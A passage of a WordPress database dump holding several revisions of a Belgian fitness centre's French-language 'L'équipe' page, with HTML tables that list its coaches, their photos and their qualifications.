height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;LesMills Coach&lt;/li&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2015-04-21 09:37:57', '2015-04-21 09:37:57', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
(437, 1, '2014-02-17 18:01:07', '2014-02-17 18:01:07', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;LesMills Coach&lt;/li&gt;\r\n        &lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n\r\n\r\n\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-420\&quot; alt=\&quot;youssra_boujat_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/youssra_boujat_pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Youssra Boujat&lt;/h2&gt;\r\n&lt;h5&gt;Instructeur de Zumba Fitness&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Etudiante infirmière à l\'HENALLUX&lt;/li&gt;\r\n	&lt;li&gt;Basketteuse au Belfius Namur Capital&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de courses à pieds et de fitness&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-390\&quot; alt=\&quot;chloe_chmiel_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Chloé Chmiel&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Master en kinésithérapie&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en kinésithérapie sportive et thérapie manuelle&lt;/li&gt;\r\n	&lt;li&gt;Kiné Nat.3 basket de Belgrade&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de course à pied et danses sportives&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&amp;nbsp;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2014-02-17 18:01:07', '2014-02-17 18:01:07', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
(392, 1, '2013-11-06 21:07:33', '2013-11-06 21:07:33', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-390\&quot; alt=\&quot;chloe_chmiel_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Chloé Chmiel&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Master en kinésithérapie&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en kinésithérapie sportive et thérapie manuelle&lt;/li&gt;\r\n	&lt;li&gt;Kiné Nat.3 basket de Belgrade&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de course à pied et danses sportives&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Rogge&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en Education Physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en préparation physique et entrainement du sportif&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Entraîneur de volley-ball&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de volley-ball, natation et course à pied&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-11-06 21:07:33', '2013-11-06 21:07:33', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
(391, 1, '2013-11-06 21:06:21', '2013-11-06 21:06:21', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur 